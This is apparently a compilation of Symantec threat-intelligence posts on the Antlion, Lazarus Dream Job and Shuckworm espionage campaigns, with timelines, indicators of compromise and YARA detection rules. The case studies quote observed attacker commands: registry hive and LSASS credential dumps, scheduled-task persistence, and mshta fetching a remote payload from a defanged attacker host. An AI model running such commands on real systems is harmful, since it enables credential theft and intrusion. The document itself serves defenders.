+mounted shares over SMB to transfer files from attacker-controlled infrastructure. There is also evidence that the attackers were able to
+browse the web through the backdoor, likely using it as a proxy to mask their IP address.
+The goal of this campaign appears to have been espionage, as we saw the attackers exfiltrating data and staging data for exfiltration
+from infected networks.
+Technical details
+As well as the attack on the financial institution outlined in the case study below, Antlion compromised the networks of at least two
+other organizations in Taiwan, including another financial organization and a manufacturing company. The activity the group carried
+out on those networks was largely similar to the activity that is detailed in the case study, with the xPack backdoor frequently deployed
+and a lot of evidence of credential dumping. In the manufacturing target, also, we see the attackers attempting to download malicious
+files via SMB shares.
+The attackers also spent a significant amount of time on both these targeted networks, spending close to 250 days on the financial
+organization and around 175 days on the manufacturing organization.
+Symantec, a division of Broadcom, cannot state with certainty what the initial infection vector used by the attackers in this campaign
+was, though in one instance they were seen utilizing the MSSQL service to execute system commands, which indicates that the most
+likely infection vector was exploitation of a web application or service. However, Antlion are also known to have previously used
+malicious emails to gain initial access to victim networks.
+The main custom backdoor used by Antlion in this campaign was the xPack backdoor, which is a custom .NET loader that decrypts
+(AES), loads, and executes accompanying .bin files. Its decryption password is provided as a command-line argument (Base64 encoded
+string), and xPack is intended to be run as a standalone application or as a service (xPackSvc variant). The xPack malware and its
+associated payload seems to be used for initial access; it appears that xPack was predominantly used to execute system commands,
+drop subsequent malware and tools, and stage data for exfiltration. The attackers also used a custom keylogger and three custom
+loaders.
+EHAGBPSL loader - custom loader written in C++ - loaded by JpgRun loader
+JpgRun loader - customer loader written in C++ - similar to xPack, reads the decryption key and filename from the command line
+- decodes the file and executes it
+CheckID - custom loader written in C++ - based on loader used by BlackHole RAT
+The attackers also used a custom SMB session enumeration tool (NetSessionEnum), a custom bind/reverse file transfer tool named
+ENCODE MMC, and a Kerberos golden ticket tool based on Mimikatz.
+The attackers also used a variety of off-the-shelf tools, as well as leveraging living-off-the-land tools such as PowerShell, WMIC,
+ProcDump, LSASS, and PsExec. The legitimate AnyDesk tool was also abused by the attackers for remote access in one of the victim
+organizations. The attackers were also observed leveraging exploits such as CVE-2019-1458 for privilege escalation and remote
+scheduled tasks to execute their backdoor. CVE-2019-1458 is an elevation-of-privilege vulnerability that occurs in Windows when the
+Win32k component fails to properly handle objects in memory.
+Legitimate versions of WinRAR appear to have been exploited by the attackers for data exfiltration, while there is also evidence of data
+exfiltration via PowerShell, specifically using the BitsTransfer module to initiate an upload to attacker-controlled infrastructure. There
+is also evidence that the attackers likely automated the data collection process via batch scripts, while there is also evidence of instances
+where data was likely staged for further exfiltration, though it was not actually observed being exfiltrated from the network. In these
+instances, it appears the attackers were interested in collecting information from software pertaining to business contacts, investments,
+and smart card readers.
+Case study: Attack on a financial organization
+The attackers spent a significant amount of time on victims
+ networks, and deployed both custom and off-the-shelf malware. In one
+financial sector victim in Taiwan the attackers spent almost nine months on the victim network.
+The first suspicious activity on this victim network occurred in December 2020 when WMIC was used to execute two commands:
+wmic process get CSName,Description,ExecutablePath,ProcessId /format:
+;CSIDL_SYSTEM\wbem\zh-tw\htable.xsl
+wmic os get
+name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory
+/format:
+;CSIDL_SYSTEM\wbem\zh-tw\htable.xsl
+The first command was used to list the computer name, description of processes, executable path, and process ID. The output was
+written to a suspicious file named htable.xsl under the wbem directory. The second command was used to collect information about the
+system, which was written out to the same file (htable.xsl). Information collected included:
+Version of the operating system (OS)
+The installation date
+The last time the system was booted
+The local date and time of the system
+The manufacturer
+The registered user
+Service pack information - this can be used to determine what patches are installed
+System directory path
+Five minutes after those commands were issued, WMIC was used to dump credentials:
+reg save HKLM\SAM CSIDL_COMMON_DOCUMENTS\sam.hiv
+reg save HKLM\SYSTEM CSIDL_COMMON_DOCUMENTS\sys.hiv
+reg save hklm\security CSIDL_COMMON_DOCUMENTS\security.hiv
+The commands listed above were all executed via Antlion
+s custom xPack backdoor.
+Several days later, during the Christmas holiday period, the attackers returned over a period of a few days and executed the xPack
+backdoor again. They also executed an unknown VBS script via PsExec multiple times:
+;cscript.exe
+; CSIDL_SYSTEM_DRIVE\update.vbs
+On December 28, the attackers used xPack to launch a command prompt to dump credentials from several machines within the
+compromised organization with the following commands:
+upload.exe -accepteula -ma lsass.exe 16.dmp (a renamed version of Sysinternals procdump64.exe)
+reg save hklm\sam CSIDL_PROFILE\publicsam.hive
+reg save hklm\system CSIDL_PROFILE\public\system.hive
+reg save hklm\security CSIDL_PROFILE\public\security.hive
+Over the following couple of weeks, the attackers continued to return intermittently to launch the xPack backdoor or to dump
+credentials via the registry. Then, following a few weeks of inactivity, they become active on the infected network once again.
+The attackers used the xPack backdoor to launch a command prompt to execute the following commands:
+;cmd
+; /K CHCP 950
+CHCP 950
+query user
+;CSIDL_SYSTEM\quser.exe
+tasklist /v
+findstr explorer
+cmd /c dir 
+;CSIDL_PROFILE\desktop
+CSIDL_SYSTEM\cmd.exe /c cmd /c dir \users /b
+cmd /c dir 
+;CSIDL_PROFILE\desktop
+cmd /c dir \users /b
+reg save hklm\security CSIDL_COMMON_DOCUMENTS\security.hiv
+rar a -r -hp1qaz@WSX3edc!@# W22-009-099.tmp 
+;CSIDL_COMMON_DOCUMENTS\w22-009-099_file
+reg save hklm\system CSIDL_COMMON_DOCUMENTS\system.hiv
+reg save hklm\sam CSIDL_COMMON_DOCUMENTS\sam.hiv
+The above commands were used to firstly change the code page to 950, which is the Windows code page for Traditional Chinese. The
+attackers then executed 'query user' to list any logged-in users on the system, as well as running 
+tasklist
+ to get a list of all the running
+processes on the system. They also tried to discover what processes were running, before listing all contents of the Desktop directory
+and the Users directory. After this, the attackers dumped credentials again via the registry.
+The attackers returned to the network a couple of weeks later and carried out largely the same activity. The attackers remained active
+on the network for March, April, and May 2021, intermittently returning to launch their xPack backdoor or dump credentials from the
+registry. Dumping credentials appears to be a main focus of the attackers, with them likely using these credentials to move laterally
+across the network to identify machines of interest from which they can exfiltrate data.
+The last activity on this network, after a gap of three months, occurred in August 2021, when the attackers returned and listed all
+available shares. They then dumped credentials from the registry and proceeded to collect account, group, and workstation
+configuration information.
+They then dumped credentials from the registry once again. This was the last activity seen on this network.
+Experienced actor stays active
+Antlion is believed to have been involved in espionage activities since at least 2011, and this recent activity shows that it is still an actor
+to be aware of more than 10 years after it first appeared.
+The length of time that Antlion was able to spend on victim networks is notable, with the group able to spend several months on victim
+networks, affording plenty of time to seek out and exfiltrate potentially sensitive information from infected organizations. The targeting
+of Taiwan is perhaps unsurprising given we know Chinese state-backed groups tend to be interested in organizations in that region.
+Protection
+For the latest protection updates, please visit the Symantec Protection Bulletin.
+Indicators of Compromise (IOCs)
+If an IOC is malicious and the file is available to us, Symantec Endpoint products will detect and block that file.
+Type
+Description
+SHA2
+85867a8b4de856a943dd5efaaf3b48aecd2082aa0ceba799df53ba479e4e81c5
+checkID
+SHA2
+12425edb2c50eac79f06bf228cb2dd77bb1e847c4c4a2049c91e0c5b345df5f2
+xPack
+SHA2
+e4a15537f767332a7ed08009f4e0c5a7b65e8cbd468eb81e3e20dc8dfc36aeed
+xPack
+SHA2
+e488f0015f14a0eff4b756d10f252aa419bc960050a53cc04699d5cc8df86c8a
+xPack
+SHA2
+9456d9a03f5084e44f8b3ad936b706a819ad1dd89e06ace612351b19685fef92
+xPack
+SHA2
+730552898b4e99c7f8732a50ae7897fb5f83932d532a0b8151f3b9b13db7d73c
+xPack
+SHA2
+de9bd941e92284770b46f1d764905106f2c678013d3793014bdad7776540a451
+xPack
+SHA2
+390460900c318a9a5c9026208f9486af58b149d2ba98069007218973a6b0df66
+xPack
+SHA2
+4331d1610cdedba314fc71b6bed35fea03bc49241eb908a70265c004f5701a29
+xPack
+SHA2
+9b5168a8f2950e43148fe47576ab3ac5b2cfa8817b124691c50d2c77207f6586
+xPack
+SHA2
+a74cb0127a793a7f4a616613c5aae72142c1166f4bb113247e734f0efd48bdba
+xPack
+SHA2
+e5259b6527e8612f9fd9bba0b69920de3fd323a3711af39f2648686fa139bc38
+xPack
+SHA2
+eb7a23136dc98715c0a3b88715aa7e936b88adab8ebae70253a5122b8a402df3
+xPack
+SHA2
+789f0ec8e60fbc8645641a47bc821b11a4486f28892b6ce14f867a40247954ed
+Keylogger
+Type
+Description
+SHA2
+3db621cac1d026714356501f558b1847212c91169314c1d43bfc3a4798467d0d
+Keylogger
+SHA2
+443f4572ed2aec06d9fb3a190de21bfced37c0cd2ee03dd48a0a7be762858925
+JpgRun
+SHA2
+f4534e04caced1243bd7a9ce7b3cd343bf8f558982cbabff93fa2796233fe929
+JpgRun
+SHA2
+e968e0d7e62fbc36ad95bc7b140cf7c32cd0f02fd6f4f914eeb7c7b87528cfe2
+EHAGBPSL
+SHA2
+0bbb477c1840e4a00d0b6cd3bd8121b23e1ce03a5ad738e9aa0e5e0b2e1e1fea
+EHAGBPSL
+SHA2
+55636c8a0baa9b57e52728c12dd969817815ba88ec8c8985bd20f23acd7f0537
+EHAGBPSL
+SHA2
+2a541a06929dd7d18ddbae2cb23d5455d0666af7bdcdf45b498d1130a8434632
+EHAGBPSL
+SHA2
+85867a8b4de856a943dd5efaaf3b48aecd2082aa0ceba799df53ba479e4e81c5
+checkID
+SHA2
+29d7b82f9ae7fa0dbaf2d18c4d38d18028d652ed1ccc0846e8c781b4015b5f78
+checkID
+SHA2
+f7cab241dac6e7db9369a4b85bd52904022055111be2fc413661239c3c64af3d
+checkID
+SHA2
+2aa52776965b37668887a53dcd2374fc2460293b73c897de5d389b672e1313ff
+checkID
+SHA2
+79a37464d889b41b7ea0a968d3e15e8923a4c0889f61410b94f5d02458cb9eed
+checkID
+SHA2
+48d41507f5fc40a310fcd9148b790c29aeb9458ff45f789d091a9af114f26f43
+NetSessionEnum
+SHA2
+f01a4841f022e96a5af613eb76c6b72293400e52787ab228e0abb862e5a86874
+SHA2
+e1a0c593c83e0b8873278fabceff6d772eeaaac96d10aba31fcf3992bc1410e5
+SHA2
+dfee6b3262e43d85f20f4ce2dfb69a8d0603bb261fb3dfa0b934543754d5128b
+Mimikatz
+Yara Rules
+rule xpack_loader
+meta:
+author = "Symantec, a division of Broadcom"
+hash = "12425edb2c50eac79f06bf228cb2dd77bb1e847c4c4a2049c91e0c5b345df5f2"
+strings:
+$s1 = "Length or Hash destoryed" wide fullword
+$s2 = "tag unmatched" wide fullword
+$s3 = "File size mismatch" wide fullword
+$s4 = "DESFile" wide fullword
+$p1 = "fomsal.Properties.Resources.resources" wide fullword
+$p2 = "xPack.Properties.Resources.resources" wide fullword
+$p3 = "foslta.Properties.Resources.resources" wide fullword
+condition:
+uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (2 of ($s*) or any of ($p*))
+rule xpack_service
+meta:
+author = "Symantec, a division of Broadcom"
+hash = "390460900c318a9a5c9026208f9486af58b149d2ba98069007218973a6b0df66"
+strings:
+$s1 = "C:\\Windows\\inf\\wdnvsc.inf" wide fullword
+$s2 = "PackService" wide fullword
+$s3 = "xPackSvc" wide fullword
+$s4 = "eG#!&5h8V$" wide fullword
+condition:
+uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and 3 of them
+rule EHAGBPSL_loader
+meta:
+author = "Symantec, a division of Broadcom"
+hash = "e968e0d7e62fbc36ad95bc7b140cf7c32cd0f02fd6f4f914eeb7c7b87528cfe2"
+hash = "2a541a06929dd7d18ddbae2cb23d5455d0666af7bdcdf45b498d1130a8434632"
+strings:
+$s1 = {45 00 00 00 48 00 00 00 41 00 00 00 47 00 00 00 42 00 00 00 50 00 00 00 53 00 00 00 4C} // EHAGBPSL
+$s2 = {74 00 00 00 61 00 00 00 72 00 00 00 57 00 00 00 6F 00 00 00 6B} // tarWok
+$b1 = "bnRtZ3M=" fullword // ntmgs
+$b2 = "TmV0d29yayBNYW5hZ2VtZW50IFNlcnZpY2U=" fullword // Network Management Service
+$b3 = "UHJvdmlkZXMgYWJpbGl0eSB0byBtYW5hZ2UgbmV0d29yayBvdmVyIHRoZSBuZXQgcHJvdG9jb2wu" fullword //
+Provides ability to manage network over the net protocol.
+$b4 = "bnRtZ3MuZG" // ntmgs.dll / ntmgs.dat
+$b5 = "aW1nMS5qcGc=" fullword // img1.jpg
+$c1 = "Wscms.nls" fullword
+$c2 = "Wscms.dat" fullword
+$c3 = "Wscms.dll" fullword
+$c4 = "Wscms.ini" fullword
+$c5 = "Images01.jpg" fullword
+$e1 = "StartWork" fullword
+$e2 = "ServiceMain" fullword
+$h1 = {DD 9C BD 72} // CreateRemoteThread
+$h2 = {C0 97 E2 EF} // OpenProcess
+$h3 = {32 6D C7 D5} // RegisterServiceCtrlHandlerA
+$h4 = {A1 6A 3D D8} // WriteProcessMemory
+condition:
+uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and all of ($e*) and (all of ($s*) or any of ($b*) or 3 of ($c*) or
+all of ($h*))
+rule keylogger
+meta:
+author = "Symantec, a division of Broadcom"
+hash = "3db621cac1d026714356501f558b1847212c91169314c1d43bfc3a4798467d0d"
+hash = "789f0ec8e60fbc8645641a47bc821b11a4486f28892b6ce14f867a40247954ed"
+strings:
+$m1 = "BKB_Test" fullword
+$m2 = "KLG_sd76bxds1N" fullword
+$k1 = "[%d/%02d/%02d %02d:%02d:%02d K-E-Y-L-O-G]" fullword
+$k2 = "[%d/%02d/%02d %02d:%02d:%02d C-L-I-P-B-D]" fullword
+$k3 = "< Title--%s-- >" fullword
+$k4 = "ImpersonateLoggedOnUser Error(%d)" fullword
+$f1 = {55 73 65 72 ?? ?? ?? 00 00 00 ?? ?? ?? 6B 65 79 2E} // Userkey.
+$f2 = {55 73 65 72 ?? ?? ?? 00 00 00 ?? ?? ?? 64 61 74 2E} // Userdat.
+condition:
+uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (2 of ($k*) or (any of ($m*) and any of ($f*)))
+rule checkid_loader
+meta:
+author = "Symantec, a division of Broadcom"
+description = "BlackHole/BlackSwan / QuasarRAT/xClient loader"
+hash = "29d7b82f9ae7fa0dbaf2d18c4d38d18028d652ed1ccc0846e8c781b4015b5f78"
+strings:
+$s1 = "Call %s.%s(\"%s\") => %d" fullword wide
+$s2 = "Assembly::CreateInstance failed w/hr 0x%08lx" fullword wide
+$s3 = "checkID"
+$s4 = "NULL == checkID hMutex" fullword
+$s5 = "checkID Mutex ERROR_ALREADY_EXISTS" fullword
+$s6 = "dllmain mutex ERROR_ALREADY_EXISTS" fullword
+$x1 = "xClient.Program" fullword wide
+$x2 = "LoadPayload" fullword
+$m1 = "SFZJ_Wh16gJGFKL" ascii wide
+$m2 = "d5129799-e543-4b8b-bb1b-e0cba81bccf8" ascii wide
+$m3 = "USA_HardBlack" ascii wide
+$b1 = "BlackHole.Slave.Program" fullword wide
+$b2 = "NuGet\\Config" wide
+$b3 = "VisualStudio.cfi" wide
+$p = {E1 F6 3C AC AF AC AC AC A8 AC AC AC 53 53 AC AC 14}
+$t = "0s+Nksjd1czZ1drJktPO24aEjISMtsvLy5LJzNjdyNnL1dLY08uS39PRhoSMhIy2jYyPkomNko2IjJKEiIaEjISM"
+condition:
+uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and 2 of ($s*) and (all of ($x*) or any of ($m*) or all of ($b*) or
+$p or $t)
+The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive
+enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks.
+Lazarus Targets Chemical Sector
+symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lazarus-dream-job-chemical
+Symantec, a division of Broadcom Software, has observed the North Korea-linked advanced
+persistent threat (APT) group known as Lazarus conducting an espionage campaign targeting
+organizations operating within the chemical sector. The campaign appears to be a
+continuation of Lazarus activity dubbed Operation Dream Job, which was first observed in
+August 2020. Symantec tracks this sub-set of Lazarus activity under the name Pompilus.
+Operation Dream Job
+Operation Dream Job involves Lazarus using fake job offers as a means of luring victims into
+clicking on malicious links or opening malicious attachments that eventually lead to the
+installation of malware used for espionage.
+Past Dream Job campaigns have targeted individuals in the defense, government, and
+engineering sectors in activity observed in August 2020 and July 2021.
+Recently targeted sectors
+In January 2022, Symantec detected attack activity on the networks of a number of
+organizations based in South Korea. The organizations were mainly in the chemical sector,
+with some being in the information technology (IT) sector. However, it is likely the IT targets
+were used as a means to gain access to chemical sector organizations.
+There is sufficient evidence to suggest that this recent activity is a continuation of Operation
+Dream Job. That evidence includes file hashes, file names, and tools that were observed in
+previous Dream Job campaigns.
+A typical attack begins when a malicious HTM file is received, likely as a malicious link in an
+email or downloaded from the web. The HTM file is copied to a DLL file called
+scskapplink.dll and injected into the legitimate system management software INISAFE Web
+EX Client.
+The scskapplink.dll file is typically a signed Trojanized tool with malicious exports added.
+The attackers have been observed using the following signatures: DOCTER USA, INC and "A"
+MEDICAL OFFICE, PLLC
+Next, scskapplink.dll downloads and executes an additional payload from a command-andcontrol (C&C) server with the URL parameter key/values "prd_fld=racket".
+This step kicks off a chain of shellcode loaders that download and execute arbitrary
+commands from the attackers, as well as additional malware, which are usually executed
+from malicious exports added to Trojanized tools such as the Tukaani project LZMA Utils
+library (XZ Utils).
+The attackers move laterally on the network using Windows Management Instrumentation
+(WMI) and inject into MagicLine by DreamSecurity on other machines.
+In some instances, the attackers were spotted dumping credentials from the registry,
+installing a BAT file in a likely effort to gain persistence, and using a scheduled task
+configured to run as a specific user.
+The attackers were also observed deploying post-compromise tools, including a tool used to
+take screenshots of web pages viewed on the compromised machine at set intervals
+(SiteShoter). They were also seen using an IP logging tool (IP Logger), a protocol used to turn
+computers on remotely (WakeOnLAN), a file and directory copier (FastCopy), and the File
+Transfer Protocol (FTP) executed under the MagicLine process.
+Case study
+The following is a case study detailing step-by-step attacker activity on an organization in the
+chemical sector.
+January 17, 2022
+00:51 
+ A malicious HTM file is received:
+e31af5131a095fbc884c56068e19b0c98636d95f93c257a0c829ec3f3cc8e4ba csidl_profile\appdata\local\microsoft\windows\inetcache\ie\3tygrjkm\join_06[1].htm
+The HTM file is copied to a DLL file:
+rundll32.exe CSIDL_PROFILE\public\scskapplink.dll,netsetcookie Cnusrmgr
+This DLL file is injected into the legitimate system management software INISAFE Web EX
+Client. The file is a signed Trojanized version of the ComparePlus plugin for Notepad++ with
+malicious exports added.
+01:02 
+ The file is run and downloads and executes a backdoor payload (final.cpl 5f20cc6a6a82b940670a0f89eda5d68f091073091394c362bfcaf52145b058db) from a
+command-and-control (C&C) server with the URL parameter key/values "prd_fld=racket".
+The file final.cpl is a Trojanized version of the Tukaani project LZMA Utils library (XZ Utils)
+with a malicious export added (AppMgmt).
+The malware connects to, downloads, decodes, and executes shellcode from the following
+remote location:
+hxxp[:]//happy[.]nanoace.co.kr/Content/rating/themes/krajeefas/FrmAMEISMngWeb.asp
+01:04 
+ Another CPL file
+(61e305d6325b1ffb6de329f1eb5b3a6bcafa26c856861a8200d717df0dec48c4) is executed.
+This file, again, is a Trojanized version of LZMA Utils with a malicious added export.
+01:13 
+ The shellcode loader (final.cpl) is executed again several times.
+01:38 
+ Commands are executed to dump credentials from the SAM and SYSTEM registry
+hives.
+Over the next several hours, the attackers run unknown shellcode via final.cpl at various
+intervals, likely to collect the dumped system hives, among other things.
+06:41 
+ The attackers create a scheduled task to ensure persistence between system reboots:
+schtasks /create /RU [REDACTED].help\175287 /ST 15:42 /TR "cmd.exe /c
+C:\ProgramData\Intel\Intel.bat" /tn arm /sc MINUTE
+The scheduled task instructs the system to execute 'Intel.bat' as user
+[REDACTED].help/175287
+ starting at 15:42 then every minute under the scheduled task
+name 
+. It's unclear if this was an account that was cracked via the dumped registry hives
+or an account the attackers were able to create with admin rights.
+The attackers were also observed installing Cryptodome (PyCrypto fork) Python encryption
+modules via CPL files.
+A clean installation of BitDefender was also installed by the attackers. While unconfirmed,
+the threat actors may have installed an older version of this software (from 2020) with a
+vulnerability that allowed attackers to run arbitrary commands remotely.
+January 18
+00:21 
+ The final.cpl file is executed again.
+00:49 
+ A new CPL file called wpm.cpl
+(942489ce7dce87f7888322a0e56b5e3c3b0130e11f57b3879fbefc48351a78f6) is executed.
+CSIDL_COMMON_APPDATA\finaldata\wpm.cpl Thumbs.ini 4 30
+This file contains, and connects to, a list of IP addresses and records whether the connections
+were successful.
+01:11 
+ Again, the final.cpl shellcode loader is executed multiple times, executing some
+unknown shellcode. This activity continued intermittently until 23:49.
+23:49 
+ The file name of the CPL file changes to 'ntuser.dat'. The file location and
+command-line arguments remain the same.
+January 19
+00:24 
+ The CPL shellcode loader files (final.cpl and ntuser.dat) are executed multiple
+times.
+00:28 
+ The attackers create a scheduled task on another machine, likely to ensure
+persistence:
+schtasks /create /RU [REDACTED]\i21076 /ST 09:28 /TR "cmd.exe /c
+C:\ProgramData\Adobe\arm.bat" /tn arm /sc MINUTE
+The command is used to schedule a task named 'arm' to run the file 'arm.bat' starting at at
+09:28 then every minute after that under the user account '[REDACTED]\i21076'.
+00:29 
+ A file named arm.dat
+(48f3ead8477f3ef16da6b74dadc89661a231c82b96f3574c6b7ceb9c03468291) is executed
+with the following command line arguments:
+CSIDL_SYSTEM\rundll32.exe
+CSIDL_COMMON_APPDATA\adobe\arm.dat,packageautoupdater
+LimitedSpatialExtent_U_f48182 -d 1440 -i 10 -q 8 -s 5
+The arm.dat file is a tool used to take screenshots of web pages viewed on the compromised
+machine every 10 seconds (SiteShoter), as determined by the command line arguments. The
+screenshots are saved in appdata\local with the date at the top of the file.
+06:50 
+ The shellcode loader (final.cpl) is executed several times.
+07:34 
+ A new CPL file named addins.cpl
+(5f20cc6a6a82b940670a0f89eda5d68f091073091394c362bfcaf52145b058db) is executed
+multiple times, which again is another shellcode loader and has the same command line
+arguments as seen with final.cpl:
+CSIDL_SYSTEM\rundll32.exe CSIDL_COMMON_APPDATA\addins.cpl, AppMgmt
+EO6-CRY-LS2-TRK3
+07:39 
+ A scheduled task is created:
+sc create uso start= auto binPath= 
+cmd.exe /c start /b C:\Programdata\addins.bat
+DisplayName= uso
+The task is used to auto-start and execute addins.bat each time the system is booted. The task
+uses the service name 'uso' (a file name previously used in older Dream Job campaigns
+targeting security researchers).
+The attacker runs addins.cpl again to run a command to start the service and then delete the
+service directly after:
+CSIDL_SYSTEM\rundll32.exe CSIDL_COMMON_APPDATA\addins.cpl, AppMgmt
+EO6-CRY-LS2-TRK3
+sc start uso (via cmd.exe)
+sc delete uso
+The following commands were then executed to collect information pertaining to network
+configuration, current user the attackers are logged in as, active users on the machine,
+available shared drives, and the contents of the 'addins' directory.
+ipconfig /all
+whoami
+query user
+net use
+dir CSIDL_WINDOWS\addins
+07:41 
+ The file addins.cpl is executed again multiple times before a scheduled task is
+created to run addins.bat again, start the service, and immediately delete the service:
+sc create uso start= auto binPath= "cmd.exe /c start /b
+C:\Windows\addins\addins.bat" DisplayName= uso
+sc start uso
+sc delete uso
+January 20
+The attackers execute addins.cpl again with the same command line as before.
+No further activity is observed.
+The Lazarus group is likely targeting organizations in the chemical sector to obtain
+intellectual property to further North Korea
+s own pursuits in this area. The group
+continuation of Operation Dream Job, as witnessed by Symantec and others, suggests that
+the operation is sufficiently successful. As such, organizations should ensure they have
+adequate security in place and remain vigilant for attacks such as this.
+As always, users should be wary of clicking links or downloading files even if they come from
+seemingly trustworthy sources.
+Protection/Mitigation
+For the latest protection updates, please visit the Symantec Protection Bulletin.
+Indicators of Compromise
+SHA-256
+164f6a8f7d2035ea47514ea84294348e32c90d817724b80ad9cd3af6f93d83f8
+18686d04f22d3b593dd78078c9db0ac70f66c7138789ad38469ec13162b14cef
+1cb8ea3e959dee988272904dbb134dad93539f2c07f08e1d6e10e75a019b9976
+2dd29b36664b28803819054a59934f7a358a762068b18c744281e1589af00f1f
+32bfdf1744077c9365a811d66a6ea152831a60a4f94e671a83228016fc87615f
+35de8163c433e8d9bf6a0097a506e3abbb8308330d3c5d1dea6db71e1d225fc3
+4277fcaada4939b76a3df4515b7f74837bf8c4b75d4ff00f8d464169eede01e3
+4446efafb4b757f7fc20485198236bed787c67ceffc05f70cd798612424384ce
+48f3ead8477f3ef16da6b74dadc89661a231c82b96f3574c6b7ceb9c03468291
+4a2236596e92fa704d8550c56598855121430f96fe088712b043cba516f1c76c
+54029bd4fcc24551564942561a60b906bee136264f24f43775b7a8e15095a9e0
+56da872e8b0f145417defd4a37f357b2f73f244836ee30ac27af7591cda2d283
+5e7edc8f1c652f53a6d2eabfbd9252781598de91dbe59b7a74706f69eb52b287
+5f20cc6a6a82b940670a0f89eda5d68f091073091394c362bfcaf52145b058db
+61e305d6325b1ffb6de329f1eb5b3a6bcafa26c856861a8200d717df0dec48c4
+67f1db122ad8f01e5faa60e2facf16c0752f6ab24b922f218efce19b0afaf607
+7491f298e27eb7ce7ebbf8821527667a88eecd5f3bc5b38cd5611f7ebefde21e
+79b7964bde948b70a7c3869d34fe5d5205e6259d77d9ac7451727d68a751aa7d
+7aa62af5a55022fd89b3f0c025ea508128a03aab5bc7f92787b30a3e9bc5c6e4
+8769912b9769b4c11aabc523a699d029917851822d4bc1cb6cc65b0c27d2b135
+8aace6989484b88abc7e3ec6f70b60d4554bf8ee0f1ccad15db84ad04c953c2d
+942489ce7dce87f7888322a0e56b5e3c3b0130e11f57b3879fbefc48351a78f6
+a881c9f40c1a5be3919cafb2ebe2bb5b19e29f0f7b28186ee1f4b554d692e776
+bdb76c8d0afcd6b57c8f1fa644765b95375af2c3a844c286db7f60cf9ca1a22a
+d815fb8febaf113f3cec82f552dfec1f205071a0492f7e6a2657fa6b069648c6
+e1997d1c3d84c29e02b1b7b726a0d0f889a044d7cd339f4fb88194c2c0c6606d
+e31af5131a095fbc884c56068e19b0c98636d95f93c257a0c829ec3f3cc8e4ba
+ef987baef9a1619454b14e1fec64283808d4e0ce16fb87d06049bfcf9cf56af3
+f29d386bdf77142cf2436797fba1f8b05fab5597218c2b77f57e46b8400eb9de
+f7359490d6c141ef7a9ee2c03dbbd6ce3069e926d83439e1f8a3dfb3a7c3dc94
+f8995634b102179a5d3356c6f353cb3a42283d9822e157502486262a3af4447e
+ff167e09b3b7ad6ed1dead9ee5b4747dd308699a00905e86162d1ec1b61e0476
+Network
+52.79.118.195
+61.81.50.174
+[URL]/[FOLDER]/[FILENAME]asp?prd_fld=racket
+happy.nanoace[.]co.kr
+hxxp://happy.nanoace[.]co.kr/Content/rating/themes/krajee-fas/FrmAMEISMngWeb.asp
+hxxps://mariamchurch[.]com/board/news/index.asp
+hxxps://www.aumentarelevisite[.]com/img/context/offline.php
+mariamchurch.com
+www.aumentarelevisite[.]com
+www.juneprint[.]com
+www.jungfrau[.]co.kr
+www.ric-camid[.]re.kr
+File names
+addins.cpl
+dolby.cpl
+ezhelp.cpl
+final.cpl
+officecert.ocx
+wpm.cpl
+Services
+About the Author
+Threat Hunter Team
+Symantec
+The Threat Hunter Team is a group of security experts within Symantec whose mission is to
+investigate targeted attacks, drive enhanced protection in Symantec products, and offer
+analysis that helps customers respond to attacks.
+Shuckworm Continues Cyber-Espionage Attacks Against
+Ukraine
+symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine
+The Russia-linked Shuckworm group (aka Gamaredon, Armageddon) is continuing to
+conduct cyber-espionage attacks against targets in Ukraine. Over the course of recent
+months, Symantec
+s Threat Hunter Team, a part of Broadcom Software, has found evidence
+of attempted attacks against a number of organizations in the country.
+Active since at least 2013, Shuckworm specializes in cyber-espionage campaigns mainly
+against entities in Ukraine. The group is known to use phishing emails to distribute either
+freely available remote access tools, including Remote Manipulator System (RMS) and
+UltraVNC, or customized malware called Pterodo/Pteranodon to targets. A recent report
+published by The Security Service of Ukraine (SSU) noted that Shuckworm
+s attacks have
+grown in sophistication in recent times, with attackers now using living-off-the-land tools to
+steal credentials and move laterally on victim networks. Recent activity seen by Symantec is
+consistent with that documented by SSU.
+Shuckworm activity: Case study
+Symantec observed Shuckworm activity on an organization in Ukraine, which began on July
+14, 2021 and continued until August 18, 2021. The attack chain began with a malicious
+document, likely sent via a phishing email, which was opened by the user of the infected
+machine. The following is a breakdown of the attackers
+ activity on the compromised
+computer.
+July 14
+At 08:48 (local-time), a suspicious Word document is opened on the machine. Just five
+minutes after the document is opened, a suspicious command is also executed to launch a
+malicious VBS file (depended.lnk). This file is a known custom backdoor leveraged by
+Shuckworm (aka Pterodo).
+wscript.exe CSIDL_PROFILE\searches\depended.lnk //e:VBScript //b
+The backdoor is used to download and execute CSIDL_PROFILE\searches\depended.exe
+(94a78d5dce553832d61b59e0dda9ef2c33c10634ba4af3acb7fb7cf43be17a5b) from
+hxxp://92.242.62.131/wordpress.php?is=[REDACTED].
+Two additional VBS scripts are observed being executed via depended.exe:
+"CSIDL_SYSTEM\wscript.exe" CSIDL_PROFILE\appdata\roaming\reflect.rar
+//e:VBScript //b
+"CSIDL_SYSTEM\wscript.exe" CSIDL_PROFILE\appdata\local\temp\deepthoughted. //e:VBScript //b
+A scheduled task is then created to likely ensure persistence between system reboots and to
+execute the dropped script. This ensures the VBS file deep-thoughted.ppt is executed every
+10 minutes:
+SCHTASKS /CREATE /sc minute /mo 10 /tn "deep-thoughted" /tr "wscript.exe "
+CSIDL_COMMON_PICTURES\deep-thoughted.ppt //e:VBScript //b" /F
+Later, the attackers are observed executing an HTA file hosted on a remote server by abusing
+mshta.exe via depended.exe. The Mshta utility can execute Microsoft HTML Application
+(HTA) files and can be abused to bypass application control solutions. Since mshta.exe
+executes outside of Internet Explorer's security context, it also bypasses browser security
+settings.
+"CSIDL_SYSTEM\cmd.exe" /c CSIDL_SYSTEM\mshta.exe
+hxxp://fiordan.ru/FILM.html /f id=[REDACTED]
